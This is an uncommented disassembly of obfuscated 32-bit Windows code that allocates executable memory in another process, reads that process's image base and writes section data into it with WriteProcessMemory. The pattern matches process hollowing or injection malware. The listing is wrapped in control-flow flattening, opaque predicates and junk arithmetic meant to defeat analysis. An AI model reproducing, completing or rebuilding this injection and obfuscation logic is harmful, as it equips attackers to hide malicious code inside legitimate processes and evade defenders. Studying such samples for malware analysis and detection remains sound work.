mov eax, dword [ebp - 0x12c]
add eax, 0x18
add eax, 0x1c
mov ecx, dword [ebp - 0x128]
mov ecx, dword [ecx + 0xa4]
add ecx, 0x85cf41dd
add ecx, 8
sub ecx, 0x85cf41dd
mov edx, dword [ebp - 0x24]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [ebp - 0x118]
mov ecx, dword [eax]
xor eax, eax
sub eax, 8
sub ecx, eax
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x114]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x12c]
mov ecx, dword [ecx + 0x28]
add eax, 0x4cada475
add eax, ecx
sub eax, 0x4cada475
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x130], 0x51e7cae3
jmp 0x10005000
mov eax, dword [ebp - 0x20]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x24]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x130], 0x60668e65
jmp 0x10005000
mov ecx, dword [0x10035938]
mov eax, dword [0x10035934]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xded6f101
mov ecx, 0xaab0bf90
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x10005000
mov ecx, dword [0x10035938]
mov eax, dword [0x10035934]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xded6f101
mov ecx, 0x4283e921
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x10005000
mov dword [ebp - 0x130], 0xd3ea1579
jmp 0x10005000
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10005a60
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x12c]
mov ecx, dword [eax + 0x34]
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0xc4]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0x114]
mov dword [eax], ecx
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x130], 0xdeceed74
jmp 0x10005000
mov dword [ebp - 0x130], 0x3416fa1f
jmp 0x10005000
mov eax, dword [ebp - 0xa8]
mov edx, dword [eax]
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0xac]
mov ecx, dword [ebp - 0xac]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x114]
mov edx, dword [eax]
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
mov esi, dword [ebp - 0xf8]
imul esi, dword [esi], 0x28
add eax, esi
mov eax, dword [eax + 0xc]
add edx, 0xe5382db9
add edx, eax
sub edx, 0xe5382db9
mov esi, dword [ebp - 0x24]
mov eax, dword [ebp - 0xb0]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0xfc]
mov eax, dword [ebp - 0x108]
mov eax, dword [ebp - 0xf8]
mov dword [ebp - 0x130], 0x49a54bda
jmp 0x10005000
mov dword [ebp - 0x130], 0x5fb0d711
jmp 0x10005000
mov dword [ebp - 0x130], 0xd9c780a0
jmp 0x10005000
mov eax, dword [ebp - 0xe8]
mov ecx, dword [eax]
xor eax, eax
sub eax, 1
sub ecx, eax
mov eax, dword [ebp - 0xe8]
mov dword [eax], ecx
mov dword [ebp - 0x130], 0x59b862d0
jmp 0x10005000
mov dword [ebp - 0x130], 0xaab0bf90
jmp 0x10002720